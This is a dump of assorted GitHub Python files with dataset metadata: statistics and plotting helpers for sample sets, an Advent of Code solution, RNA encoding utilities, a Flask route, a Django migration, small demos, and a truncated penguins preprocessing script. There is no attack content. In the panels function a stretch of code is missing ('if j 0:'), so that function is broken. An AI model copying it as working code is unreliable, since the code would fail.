interpolation='linear'):\n ''' Save sampleset statistics to file\n\n :param rc: Data\n :type outfile: Dataframe\n :param outfile: Name of file\n :type outfile: str\n :param q: percentile or list of percentiles to compute\n :type q: fl64 or lst[fl64]\n :param interpolation: Interpolation method to use when quantile lies between data points\n :type interpolation: str - {'linear', 'lower', 'higher', 'midpoint', 'nearest'}\n '''\n if isinstance(q,(float,int)): q = [q]\n mins = numpy.min(rc.tolist(),axis=0)\n maxs = numpy.max(rc.tolist(),axis=0)\n means = numpy.mean(rc.tolist(),axis=0)\n stds = numpy.std(rc.tolist(),axis=0)\n vars = numpy.var(rc.tolist(),axis=0)\n pcts = numpy.percentile(rc.tolist(),q,interpolation=interpolation,axis=0)\n d = numpy.column_stack([mins,maxs,means,stds,vars,pcts.transpose()])\n nms = rc.dtype.names\n nms_len = len(max(nms, key=len))+1\n stat_nms = [\"min\",\"max\",\"mean\",\"stdev\",\"variance\"]\n stat_nms += [\"{}%tile\".format(v) for v in q]\n with open(outfile, 'w') as fh:\n fh.write(str.ljust('',nms_len ))\n for stat in stat_nms:\n fh.write(\" %22s\" % stat )\n fh.write('\\n')\n for nm,dvs in zip(nms,d):\n fh.write(str.ljust(nm, nms_len))\n for dv in dvs:\n fh.write(\" %22.16g\" % dv )\n fh.write('\\n')\n\ndef mean(rc, pretty_print=False):\n \"\"\" Mean of samples\n\n :param rc: Data\n :type rc: Numpy structured (record) array\n :param pretty_print: If True, print with row and column headings\n :type pretty_print: bool\n :returns: ndarray(fl64)\n \"\"\"\n if numpy.any(numpy.isnan(rc.tolist())):\n print(\"Error: Nan values exist probably due to failed simulations. Use subset (e.g. subset([('obs','!=',numpy.nan)]) to remove\")\n return\n means = numpy.mean(rc.tolist(),axis=0)\n # Print \n s = ''\n if pretty_print:\n for nm in rc.dtype.names:\n s+=str.rjust(nm, 11)\n s+='\\n'\n for c in means:\n s+=str.rjust('{:5g}'.format(c), 11)\n s+='\\n'\n print(s)\n else:\n return means\n\ndef std(rc, pretty_print=False):\n \"\"\" Standard deviation of samples\n\n :param rc: Data\n :type rc: Numpy structured (record) array\n :param pretty_print: If True, print with row and column headings\n :type pretty_print: bool\n :returns: ndarray(fl64)\n \"\"\"\n if numpy.any(numpy.isnan(rc.tolist())):\n print(\"Error: Nan values exist probably due to failed simulations. Use subset (e.g. subset([('obs','!=',numpy.nan)]) to remove\")\n return\n stds = numpy.std(rc.tolist(),axis=0)\n # Print \n if pretty_print:\n for nm in rc.dtype.names:\n print(str.rjust(nm, 11), end=' ')\n print('')\n for c in stds:\n print(str.rjust('{:5g}'.format(c), 11), end=' ')\n print('')\n else:\n return stds\n\ndef var(rc, pretty_print=False):\n \"\"\" Variance of samples\n\n :param rc: Data\n :type rc: Numpy structured (record) array\n :param pretty_print: If True, print with row and column headings\n :type pretty_print: bool\n :returns: ndarray(fl64)\n \"\"\"\n if numpy.any(numpy.isnan(rc.tolist())):\n print(\"Error: Nan values exist probably due to failed simulations. Use subset (e.g. subset([('obs','!=',numpy.nan)]) to remove\")\n return\n vars = numpy.var(rc.tolist(),axis=0)\n # Print \n if pretty_print:\n for nm in rc.dtype.names:\n print(string.rjust(nm, 11), end=' ')\n print('')\n for c in vars:\n print(string.rjust('{:5g}'.format(c), 11), end=' ')\n print('')\n else:\n return vars\n\ndef percentile(rc, q, interpolation='linear', pretty_print=False):\n \"\"\" Percentile of samples\n\n :param rc: Data\n :type rc: Numpy structured (record) array\n :param q: Percentile in range [0,100] or list of percentiles\n :type q: fl64 or lst[fl64]\n :param interpolation: Interpolation method to use when quantile lies between data points\n :type interpolation: str - {'linear', 'lower', 'higher', 'midpoint', 'nearest'}\n :param pretty_print: If True, print with row and column headings\n :type pretty_print: bool\n :returns: ndarray(fl64)\n \"\"\"\n if isinstance(q,(float,int)): q = [q]\n if numpy.any(numpy.isnan(rc.tolist())):\n print(\"Error: Nan values exist probably due to failed simulations. Use subset (e.g. subset([('obs','!=',numpy.nan)]) to remove\")\n return\n pcts = numpy.percentile(rc.tolist(),q,interpolation=interpolation,axis=0)\n # Print \n if pretty_print:\n dum = ' '\n print(string.rjust(dum, 11), end=' ')\n for nm in rc.dtype.names:\n print(string.rjust(nm, 11), end=' ')\n print('')\n for i,p in enumerate(q):\n print(string.ljust('{:5g}%'.format(p), 11), end=' ')\n for c in pcts[i]:\n print(string.rjust('{:5g}'.format(c), 11), end=' ')\n print('')\n else:\n return pcts\n\ndef corr(rc1, rc2, type='pearson', plot=False, printout=True, plotvals=True, figsize=None, title=None, xrotation=0, filename=None, adjust_dict=None):\n \"\"\" Calculate correlation coefficients of parameters and responses\n\n :param rc1: Data\n :type type: Numpy structured (record) array\n :param rc2: Data\n :type type: Numpy structured (record) array\n :param type: Type of correlation coefficient (pearson by default, spearman also avaialable)\n :type type: str\n :param plot: If True, plot correlation matrix\n :type plot: bool\n :param printout: If True, print correlation matrix with row and column headings\n :type printout: bool\n :param plotvals: If True, print correlation coefficients on plot matrix\n :type plotvals: bool\n :param figsize: Width and height of figure in inches\n :type figsize: tuple(fl64,fl64)\n :param title: Title of plot\n :type title: str\n :param xrotation: Rotation for x axis tick labels (rc2 names)\n :type xratoation: int, float, or str\n :param filename: Name of file to save plot. File ending determines plot type (pdf, png, ps, eps, etc.). Plot types available depends on the matplotlib backend in use on the system. Plot will not be displayed.\n :type filename: str\n :param adjust_dict: Dictionary of kwargs to pass to plt.subplots_adjust. Keys and defaults are: left = 0.125, right = 0.9, bottom = 0.1, top = 0.9, wspace = 0.2, hspace = 0.2 \n :type adjust_dict: dict\n :returns: ndarray(fl64) -- Correlation coefficients\n \"\"\"\n if numpy.any(numpy.isnan(rc1.tolist())) or numpy.any(numpy.isnan(rc2.tolist())):\n print(\"Error: Nan values exist probably due to failed simulations. Use subset (e.g. subset([('obs','!=',numpy.nan)]) to remove\")\n return\n corrlist = []\n if type == 'pearson':\n for snm in rc1.dtype.names:\n corrlist.append([stats.pearsonr(rc1[snm],rc2[rnm])[0] for rnm in rc2.dtype.names])\n elif type == 'spearman':\n for snm in rc1.dtype.names:\n corrlist.append([stats.spearmanr(rc1[snm],rc2[rnm])[0] for rnm in rc2.dtype.names])\n else:\n print(\"Error: current types include 'pearson' and 'spearman'\")\n return\n corrcoef = numpy.array(corrlist)\n # Print \n if printout:\n dum = ' '\n print(dum.rjust(8), end=' ')\n for nm in rc2.dtype.names:\n print(nm.rjust(8), end=' ')\n print('')\n for i in range(corrcoef.shape[0]):\n print(rc1.dtype.names[i].ljust(8), end=' ')\n for c in corrcoef[i]:\n print('{:.2f}'.format(c).rjust(8), end=' ')\n print('')\n if plot and plotflag:\n # Plot\n plt.figure(figsize=figsize)\n plt.pcolor(numpy.flipud(corrcoef), vmin=-1, vmax=1)\n if plotvals:\n for i,ri in zip(list(range(corrcoef.shape[0])),reversed(list(range(corrcoef.shape[0])))):\n for j in range(corrcoef.shape[1]):\n plt.text(j+0.4,i+0.4,'{:.2f}'.format(corrcoef[ri,j]),bbox=dict(facecolor='white'))\n plt.colorbar()\n if title:\n plt.title(title)\n plt.yticks(numpy.arange(0.5,len(rc1.dtype.names)+0.5),[nm for nm in reversed(rc1.dtype.names)])\n plt.xticks(numpy.arange(0.5,len(rc2.dtype.names)+0.5),rc2.dtype.names, rotation=xrotation)\n if adjust_dict:\n plt.subplots_adjust(**adjust_dict)\n if filename is None:\n plt.show(block=True)\n else:\n fmt = filename.split('.')[-1]\n plt.savefig(filename,format=fmt)\n return corrcoef\n\ndef panels(rc, type='pearson', alpha=0.2, figsize=None, title=None, tight=False, symbol='.',fontsize=None,corrfontsize=None,ms=None,mins=None,maxs=None,frequency=False,bins=10,ylim=None,labels=[],filename=None,xticks=2,yticks=2,color=None,cmap=None,edgecolors='face'):\n if plotflag:\n # Set font for scatterplot labels\n if not fontsize is None:\n font = {'size': fontsize}\n mplrc('font', **font)\n smp_mins = numpy.min(rc.tolist(),axis=0)\n smp_maxs = numpy.max(rc.tolist(),axis=0)\n if mins is None: mins = smp_mins\n else:\n mins = [ smp_mins[i] if mins[i] is None else mins[i] for i in range(len(mins)) ]\n if maxs is None: maxs = smp_maxs\n else:\n maxs = [ smp_maxs[i] if maxs[i] is None else maxs[i] for i in range(len(maxs)) ]\n if numpy.any(numpy.isnan(rc.tolist())):\n print(\"Error: Nan values exist probably due to failed simulations. Use subset (e.g. subset([('obs','!=',numpy.nan)]) to remove\")\n return\n siz = len(rc.dtype)\n fig,ax = plt.subplots(siz,siz,figsize=figsize)\n ind = 1\n # Add axis labels to first column and last row\n if len(labels) == 0:\n labels = rc.dtype.names\n elif not len(labels) == len(rc.dtype.names):\n print(\"Error: number of labels does not match number of parameters\")\n return\n for i,nm in enumerate(labels): \n ax[i,0].set_ylabel(nm)\n ax[siz-1,i].set_xlabel(nm) # Plot histograms in diagonal plots\n ns = []\n for i,nm in enumerate(rc.dtype.names): \n if frequency:\n n,b,patches = ax[i,i].hist(rc[nm], alpha=alpha, range=(mins[i],maxs[i]), bins=bins, weights=numpy.ones(len(rc[nm])) / len(rc[nm]))\n else:\n n,b,patches = ax[i,i].hist(rc[nm], alpha=alpha, range=(mins[i],maxs[i]), bins=bins)\n ax[i,i].set_xlim([mins[i],maxs[i]])\n ns.append(n)\n # Set ylims of histograms\n if ylim is None:\n ymax = max([max(n) for n in ns])\n for i in range(len(rc.dtype)):\n ax[i,i].set_ylim([0,ymax])\n else:\n for i in range(len(rc.dtype)):\n ax[i,i].set_ylim(ylim)\n\n # Scatterplots in lower triangular matrix\n #if corrfontsize is None: corrfontsize = 2*siz\n for i,nm1 in enumerate(rc.dtype.names): \n for j,nm2 in enumerate(rc.dtype.names): \n if j 0:\n ax[i,j].get_yaxis().set_visible(False)\n else:\n ax[i,j].yaxis.set_major_locator(MaxNLocator(yticks))\n # tk = ax[i,j].get_yticks()\n # tk = [0.2*(tk[0]+tk[-1]),0.8*(tk[0]+tk[-1])]\n # ax[i,j].set_yticks(tk)\n if i < len(rc.dtype)-1:\n ax[i,j].get_xaxis().set_visible(False)\n else:\n ax[i,j].xaxis.set_major_locator(MaxNLocator(xticks))\n # tk = ax[i,j].get_xticks()\n # tk = [0.2*(tk[0]+tk[-1]),0.8*(tk[0]+tk[-1])]\n # ax[i,j].set_xticks(tk)\n\n if tight: \n plt.tight_layout()\n if title:\n plt.subplots_adjust(top=0.925) \n if title: plt.suptitle(title)\n if color:\n cbar = fig.colorbar(sc, ax=ax.ravel().tolist())\n cbar.ax.set_ylabel(color)\n if filename is None:\n plt.show(block=True)\n else:\n fmt = filename.split('.')[-1]\n plt.savefig(filename,format=fmt)\n else:\n print(\"Matplotlib must be installed to plot histograms\")\n return\ndef hist(rc,ncols=4,figsize=None,alpha=0.2,title=None,tight=False,mins=None,maxs=None,frequency=False,bins=10,ylim=None,printout=True,labels=[],filename=None,fontsize=None,xticks=3):\n \"\"\" Plot histograms of dataset\n\n :param ncols: Number of columns in plot matrix\n :type ncols: int\n :param figsize: Width and height of figure in inches\n :type figsize: tuple(fl64,fl64)\n :param alpha: Histogram color shading\n :type alpha: float\n :param title: Title of plot\n :type title: str\n :param tight: Use matplotlib tight layout\n :type tight: bool\n :param mins: Minimum values of recarray fields\n :type mins: lst(fl64)\n :param maxs: Maximum values of recarray fields\n :type maxs: lst(fl64)\n :returns: dict(lst(int),lst(fl64)) - dictionary of histogram data (counts,bins) keyed by name\n :param frequency: If True, the first element of the return tuple will be the counts normalized by the length of data, i.e., n/len(x)\n :type frequency: bool\n :param bins: If an integer is given, bins + 1 bin edges are returned. Unequally spaced bins are supported if bins is a list of sequences for each histogram.\n :type bins: int or lst(lst(int))\n :param ylim: y-axis limits for histograms.\n :type ylim: tuples - 2 element tuple with y limits for histograms\n :param labels: Names to use instead of parameter names in plot\n :type labels: lst(str)\n :param filename: Name of file to save plot. File ending determines plot type (pdf, png, ps, eps, etc.). Plot types available depends on the matplotlib backend in use on the system. Plot will not be displayed.\n :type filename: str\n :param fontsize: Size of font \n :type fontsize: fl64\n :param xticks: Number of ticks on xaxes\n :type xticks: int\n\n \"\"\" \n if plotflag:\n # Set font for scatterplot labels\n if not fontsize is None:\n font = {'size': fontsize}\n mplrc('font', **font)\n # Add axis labels to first column and last row\n if len(labels) == 0:\n labels = rc.dtype.names\n elif not len(labels) == len(rc.dtype.names):\n print(\"Error: number of labels does not match number of parameters\")\n return\n smp_mins = numpy.min(rc.tolist(),axis=0)\n smp_maxs = numpy.max(rc.tolist(),axis=0)\n if mins is None: mins = smp_mins\n else:\n mins = [ smp_mins[i] if mins[i] is None else mins[i] for i in range(len(mins)) ]\n if maxs is None: maxs = smp_maxs\n else:\n maxs = [ smp_maxs[i] if maxs[i] is None else maxs[i] for i in range(len(maxs)) ]\n if numpy.any(numpy.isnan(rc.tolist())):\n print(\"Error: Nan values exist probably due to failed simulations. Use subset (e.g. subset([('obs','!=',numpy.nan)]) to remove\")\n return\n siz = len(rc.dtype)\n if siz <= ncols:\n ncols = siz\n nrows = 1\n elif siz > ncols:\n nrows = int(numpy.ceil(float(siz)/ncols))\n else:\n nrows = 1\n if figsize is None:\n figsize = (ncols*3,nrows*3)\n fig = plt.figure(figsize=figsize)\n if mins is None: mins = numpy.min(rc.tolist(),axis=0)\n if maxs is None: maxs = numpy.max(rc.tolist(),axis=0)\n hist_dict = OrderedDict()\n ns = []\n ax = []\n for ind,nm,mi,ma,lb in zip(list(range(len(rc.dtype))),rc.dtype.names,mins,maxs,labels): \n ax.append(plt.subplot(nrows,ncols,ind+1))\n if ind==0 or (ind)%ncols==0:\n if frequency: plt.ylabel('Frequency')\n else: plt.ylabel('Count')\n else: ax[-1].get_yaxis().set_visible(False)\n if frequency:\n n,b,patches = ax[-1].hist(rc[nm], range=[mi,ma], alpha=alpha, bins=bins, weights=numpy.ones(len(rc[nm])) / len(rc[nm]))\n hist_dict[nm] = (n,b,patches)\n else:\n n,b,patches = ax[-1].hist(rc[nm], range=[mi,ma], alpha=alpha, bins=bins)\n hist_dict[nm] = (n,b,patches)\n ax[-1].set_xlim([mi,ma])\n ns.append(n)\n plt.xlabel(lb)\n plt.locator_params(nbins=4)\n ax[-1].xaxis.set_major_locator(MaxNLocator(xticks))\n # Set ylims of histograms\n if ylim is None:\n ymax = max([max(n) for n in ns])\n for i in range(len(labels)):\n ax[i].set_ylim([0,ymax])\n else:\n for i in range(len(labels)):\n ax[i].set_ylim(ylim)\n if tight: \n plt.tight_layout()\n if title:\n plt.subplots_adjust(top=0.925) \n if title: plt.suptitle(title)\n if filename is None:\n plt.show(block=True)\n else:\n fmt = filename.split('.')[-1]\n plt.savefig(filename,format=fmt)\n if printout:\n for nm in list(hist_dict.keys()):\n print('\\n')\n print(nm+':')\n if frequency: \n print(' Freq:', end=' ')\n flag=True\n for n in hist_dict[nm][0]:\n if flag: \n print('{:12.2f}'.format(n), end=' ')\n flag=False\n else: print('{:8.2f}'.format(n), end=' ')\n #print '{:2f}'.format(n),\n else: \n print('Count:', end=' ')\n flag=True\n for n in hist_dict[nm][0]:\n if flag:\n print('{:12.0f}'.format(n), end=' ')\n flag=False\n else:\n print('{:8.0f}'.format(n), end=' ')\n print('\\n', end=' ')\n print(' Bins:', end=' ')\n flag=True\n for b in hist_dict[nm][1]:\n if flag:\n print('{:8.2g}'.format(b), end=' ')\n flag=False\n else:\n print('{:8.2g}'.format(b), end=' ')\n print('\\n')\n return hist_dict\n else:\n print(\"Matplotlib must be installed to plot histograms\")\n return\n\n","repo_name":"dharp/matk","sub_path":"src/matk/sampleset.py","file_name":"sampleset.py","file_ext":"py","file_size_in_byte":62663,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"36"} +{"seq_id":"14575174076","text":"import re\n\ndef simulate(vx, vy, tx1, ty1, tx2, ty2):\n x, y = 0, 0\n while 1:\n x += vx\n y += vy\n if tx1 <= x <= tx2 and ty1 <= y <= ty2:\n return 1\n\n if vx > 0:\n vx -= 1\n elif vx < 0:\n vx += 1\n vy -= 1\n if y < ty1 and vy < 0:\n return 0\n\n\ntx1, tx2, ty1, ty2 = [int(_) for _ in re.findall('([-+]?[0-9]+)', input())]\n\nres = 0\nfor vx in range(-200, 201):\n for vy in range(-200, 201):\n res += simulate(vx, vy, tx1, ty1, tx2, ty2)\n\nprint(res)\n","repo_name":"vfolunin/archives-solutions","sub_path":"Advent of Code/2021/17.2.py","file_name":"17.2.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"8546486053","text":"\nimport numpy as np\n\ndef one_hot_encode(char):\n char = char.upper()\n if (char=='A'):\n return np.array([1,0,0,0])\n elif (char=='C'):\n return np.array([0,1,0,0])\n elif (char=='G'):\n return np.array([0,0,1,0])\n elif (char=='U'):\n return np.array([0,0,0,1])\n else:\n return np.array([0,0,0,0])\n\ndef one_hot_matrix(seq):\n matrix = np.zeros((len(seq), len(seq), 8), dtype = int)\n for i, char_i in enumerate(seq):\n hot_i = one_hot_encode(char_i)\n for j, char_j in enumerate(seq):\n hot_j = one_hot_encode(char_j)\n matrix[i][j] = np.concatenate((hot_i, hot_j))\n matrix[j][i] = np.concatenate((hot_j, hot_i))\n return matrix\n\ndef make_pair_table(ss, base=0, chars=['.']):\n \"\"\" Return a secondary struture in form of pair table.\n\n Args:\n ss (str): secondary structure in dot-bracket format\n base (int, optional): choose between a pair-table with base 0 or 1\n chars (list, optional): a list of characters to be are ignored, default:\n ['.']\n\n **Example:**\n base=0: ((..)). => [5,4,-1,-1,1,0,-1]\n i.e. start counting from 0, unpaired = -1\n base=1: ((..)). => [7,6,5,0,0,2,1,0]\n i.e. start counting from 1, unpaired = 0, pt[0]=len(ss)\n\n Returns:\n [list]: A pair-table\n \"\"\"\n stack = []\n if base == 0:\n pt = [-1] * len(ss)\n elif base == 1:\n pt = [0] * (len(ss) + base)\n pt[0] = len(ss)\n else:\n raise Exception(f\"unexpected value in make_pair_table: (base = {base})\")\n\n for i, char in enumerate(ss, base):\n if (char == '('):\n stack.append(i)\n elif (char == ')'):\n try:\n j = stack.pop()\n except IndexError as e:\n raise Exception(\"Too many closing brackets in secondary structure\")\n pt[i] = j\n pt[j] = i\n elif (char not in set(chars)):\n raise Exception(f\"unexpected character in sequence: '{char}'\")\n if stack != []:\n raise Exception(\"Too many opening brackets in secondary structure\")\n return pt\n \ndef base_pair_matrix(ss):\n # ptable[i] = j if (i.j) pair or 0 if i is unpaired, \n # ptable[0] contains the length of the structure.\n # ptable = RNA.ptable(ss)\n ptable = make_pair_table(ss, 1)\n matrix = np.zeros((len(ss), len(ss), 1), dtype = int)\n for i in range(1, len(ptable)):\n if ptable[i] != 0:\n j = ptable[i]\n matrix[i-1][j-1] = 1\n return matrix\n \ndef encode_sequence_matrix(sequences):\n \"\"\"\n Make a BP probability matrix with one-hot encoding of basepairs.\n NOTE: This only works if all sequences have the same length, otherwise\n you need to use: encode_padded_sequence_matrix\n \"\"\"\n assert min(len(s) for s in sequences) == max(len(s) for s in sequences)\n return np.asarray([one_hot_matrix(seq) for seq in sequences], dtype=np.float32)\n \ndef encode_structure_matrix(structures):\n \"\"\"\n Make a BP probability matrix with one-hot encoding of basepairs.\n NOTE: This only works if all sequences have the same length!\n \"\"\"\n assert min(len(s) for s in structures) == max(len(s) for s in structures)\n return np.asarray([base_pair_matrix(ss) for ss in structures], dtype=np.float32)\n\ndef encode_padded_sequence_matrix(sequences, max_length = None):\n if max_length is None:\n max_length = max(len(ss) for ss in sequences)\n batch_size = len(sequences)\n\n xs = np.zeros((batch_size, max_length, max_length, 8), dtype = np.float32)\n masks = np.zeros((batch_size, max_length, max_length), dtype = np.float32)\n\n for i, seq in enumerate(sequences): \n wl = max_length - len(seq)\n\n # The one hot encoding.\n x = one_hot_matrix(seq)\n x = np.pad(x, ((0, wl), (0, wl), (0, 0)), 'constant')\n xs[i] = x\n\n # Sequence = 1, padding = 0\n mask = np.ones((len(seq), len(seq)))\n mask = np.pad(mask, ((0, wl), (0, wl)), 'constant')\n masks[i] = mask\n\n return xs, masks\n\ndef encode_padded_structure_matrix(structures, max_length = None):\n if max_length is None:\n max_length = max(len(ss) for ss in structures)\n batch_size = len(structures)\n\n ys = np.zeros((batch_size, max_length, max_length, 1), dtype = np.float32)\n for j in range(batch_size):\n ss = structures[j]\n wl = max_length - len(ss)\n y = base_pair_matrix(ss)\n y = np.pad(y, ((0, wl), (0, wl), (0, 0)), 'constant')\n ys[j] = y\n return ys\n\ndef binary_encode(structure):\n intab = \"().\"\n outtab = \"110\"\n trantab = str.maketrans(intab, outtab)\n structure = structure.translate(trantab)\n values = np.asarray(list(structure), dtype = int)\n return values.reshape(len(values), 1)\n\ndef encode_structure(structures):\n return np.asarray([binary_encode(ss) for ss in structures])\n\ndef encode_sequence(sequences):\n return np.asarray([[one_hot_encode(char) for char in seq] for seq in sequences])\n\ndef create_windows(sequences, window_size):\n windows = []\n for seq in sequences:\n for pos in range(len(seq)):\n window = seq[max(0,pos-window_size):(min(len(seq),pos+window_size)+1)]\n window = (\"N\" * -(pos-window_size)) + window + (\"N\" * (1+pos+window_size-len(seq)))\n windows.append(window)\n return np.asarray(windows)\n \ndef encode_sequence_windows(sequences, window_size):\n windows = create_windows(sequences, window_size)\n return np.asarray([[one_hot_encode(char) for char in sw] for sw in windows])\n\n","repo_name":"ViennaRNA/rnadeep","sub_path":"rnadeep/encoding_utils.py","file_name":"encoding_utils.py","file_ext":"py","file_size_in_byte":5598,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"36"} +{"seq_id":"10091366499","text":"from random import randint\nfrom threading import Thread\nfrom time import time, sleep\n\n\nclass DownloadTask(Thread):\n def __init__(self, fileName):\n super().__init__()\n self._fileName = fileName\n\n def run(self):\n print('开始下载:{}'.format(self._fileName))\n t = randint(5, 10)\n sleep(t)\n print('下载耗时:{}s'.format(t))\n\n\ndef main():\n start = time()\n t1 = DownloadTask('Python')\n t1.start()\n t2 = DownloadTask('Java')\n t2.start()\n t1.join()\n t2.join()\n end = time()\n print('总共耗时{:.2f}s'.format(end - start))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"WangH815/wangh-coding","sub_path":"python/code/com/wangh/daily/t202003/17_threads.py","file_name":"17_threads.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"28507794977","text":"import os\nfrom pandas import read_csv, DataFrame, merge\nfrom numpy import where, allclose\nfrom opus_core.simulation_state import SimulationState\nfrom opus_core.datasets.dataset import Dataset\nfrom opus_core.store.attribute_cache import AttributeCache\nfrom opus_core.session_configuration import SessionConfiguration\nfrom opus_core.storage_factory import StorageFactory\nfrom opus_core.paths import get_opus_data_path_path\nfrom opus_core.logger import block\n\ndata_path = get_opus_data_path_path()\ncache_dir = os.path.join(data_path, 'bay_area_parcel/base_year_data')\nyear = 2010\nsimulation_state = SimulationState()\nsimulation_state.set_current_time(year)\nSimulationState().set_cache_directory(cache_dir)\nattribute_cache = AttributeCache()\ndataset_pool = SessionConfiguration(new_instance=True,\n package_order=['bayarea', 'urbansim_parcel', \n 'urbansim', 'opus_core'],\n in_storage=attribute_cache\n ).get_dataset_pool()\n\nunits = dataset_pool.get_dataset('residential_unit')\nbldg = dataset_pool.get_dataset('building')\n\ndef to_dataframe(opus_dataset):\n from pandas import DataFrame\n df = {}\n for attr in opus_dataset.get_known_attribute_names():\n df[attr] = opus_dataset[attr]\n\n df = DataFrame(df)\n return df\n\nunits_df = {}\nbldg_df = {}\nfor attr in units.get_known_attribute_names():\n units_df[attr] = units[attr]\nfor attr in bldg.get_known_attribute_names():\n bldg_df[attr] = bldg[attr]\n\nwith block('opus join'):\n results_opus = units.compute_variables('residential_unit.disaggregate(building.building_type_id)',\n dataset_pool=dataset_pool)\n\nunits_df = DataFrame(units_df)\nbldg_df = DataFrame(bldg_df)\nwith block('pandas join without index'):\n units_merged1 = merge(units_df, bldg_df[['building_id', 'building_type_id']], \n on='building_id', sort=False, how='left')\n results_df1 = units_merged1['building_type_id'] \n results_df1.fillna(value=-1, inplace=True)\n\nbldg_df.set_index('building_id', inplace=True)\nwith block('pandas join with index'):\n units_merged2 = units_df.join(bldg_df['building_type_id'], on='building_id', how='left')\n results_df2 = units_merged2['building_type_id'] \n results_df2.fillna(value=-1, inplace=True)\n\nassert allclose(results_df1, results_df2)\nassert allclose(results_opus, results_df2.values)\n\n","repo_name":"psrc/urbansim","sub_path":"bayarea/scripts/test_dataset_join.py","file_name":"test_dataset_join.py","file_ext":"py","file_size_in_byte":2416,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"36"} +{"seq_id":"36552100098","text":"from . import apiviews\n\nfrom django.urls import path\n\nurlpatterns = [\n #### Ingreso\n path(\"ingresos/list/\", apiviews.IngresoListApiView.as_view()),\n path(\"ingresos/create/\", apiviews.IngresoCreateApiView.as_view()),\n path(\"ingresos/update//\", apiviews.IngresoUpdateApiView.as_view()),\n path(\"ingresos/delete//\", apiviews.IngresoDeleteApiView.as_view()),\n\n #### Gasto Fijo\n path(\"gasto-fijo/list/\", apiviews.GastoFijoListApiView.as_view()),\n path(\"gasto-fijo/create/\", apiviews.GastoFijoCreateApiView.as_view()),\n path(\"gasto-fijo/update//\", apiviews.GastoFijoUpdateApiView.as_view()),\n path(\"gasto-fijo/delete//\", apiviews.GastoFijoDeleteApiView.as_view()),\n\n ####Gasto Variable\n path(\"gasto-variable/list/\", apiviews.GastoVariableListApiView.as_view()),\n path(\"gasto-variable/create/\", apiviews.GastoVariableCreateApiView.as_view()),\n path(\"gasto-variable/update//\", apiviews.GastoVariableUpdateApiView.as_view()),\n path(\"gasto-variable/delete//\", apiviews.GastoVariableDeleteApiView.as_view()),\n]\n","repo_name":"santi-junco/gastos","sub_path":"apps/movimientos/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"75068349864","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Greeting',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('when', models.DateTimeField(auto_now_add=True, verbose_name=b'date created')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Resident',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=200)),\n ('year', models.CharField(max_length=200, choices=[(b'PGY1', b'PGY1'), (b'PGY2', b'PGY2'), (b'PGY3', b'PGY3')])),\n ('track', models.CharField(max_length=200, choices=[(b'track1', b'track1'), (b'track2', b'track2'), (b'track3', b'track3')])),\n ('in_program', models.BooleanField(default=True)),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n ]\n","repo_name":"jeanchoi3/rotationSchedule","sub_path":"rotationSchedule_app/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"74119559124","text":"#!/usr/bin/python3\n\"\"\"\nThis script starts a Flask web application\n\n\"\"\"\n\n\nfrom models import storage\nfrom models.state import State\nfrom flask import Flask\nfrom flask import render_template\napp = Flask(__name__)\n\n\n@app.route(\"/states/\", strict_slashes=False)\n@app.route('/states/', strict_slashes=False)\ndef state(id=None):\n s = storage.all(State).values()\n flag = 0\n if id is None:\n flag = 1\n else:\n for st in s:\n if id == st.id:\n flag = 1\n return render_template(\"9-states.html\", states=s, id=id, flag=flag)\n\n\n@app.teardown_appcontext\ndef tear(self):\n storage.close()\n\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0', port=5000)\n","repo_name":"CarolinaHV/AirBnB_clone_v2","sub_path":"web_flask/9-states.py","file_name":"9-states.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"19733318721","text":"import random\nprint(\"Welcome to the simple dice roller program.\\n\")\n\nwhile True:\n n=int(input(\"Enter 1 to start rolling the dice or 0 to end: \"))\n if(n==1):\n number=random.randint(1,6)\n print(\"The dice landed on: \",number)\n print(\"---------------\")\n elif(n==0):\n print(\"Thanks for playing!\")\n break\n else:\n print(\"Enter valid number\")\n","repo_name":"rohit-s-s/Pygrammers-Padikkam.py","sub_path":"Dice Roller/dice_roller.py","file_name":"dice_roller.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"36436526867","text":"import pandas as pd \nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import LabelEncoder\nimport matplotlib.pyplot as plt\nfrom sklearn import preprocessing\n\ndef makePre(bonus = False):\n if bonus == False:\n df = pd.read_csv(\"penguins.csv\")\n enc = LabelEncoder()\n df[\"gender\"] = enc.fit_transform(np.array(df[\"gender\"]).reshape(-1, 1))\n y = df[\"species\"]\n x = df.drop(columns = \"species\")\n y = pd.get_dummies(y)\n xtrain,xtest,ytrain,ytest = train_test_split(x,y,test_size = 0.3,random_state = 20)\n xtrain = (xtrain.iloc[:].values).astype('float32')\n ytrain = ytrain.iloc[:].values.astype('int32')\n xtest = (xtest.iloc[:].values).astype('float32')\n ytest = ytest.iloc[:].values.astype('int32')\n return xtrain,xtest,ytrain,ytest\n else :\n #read 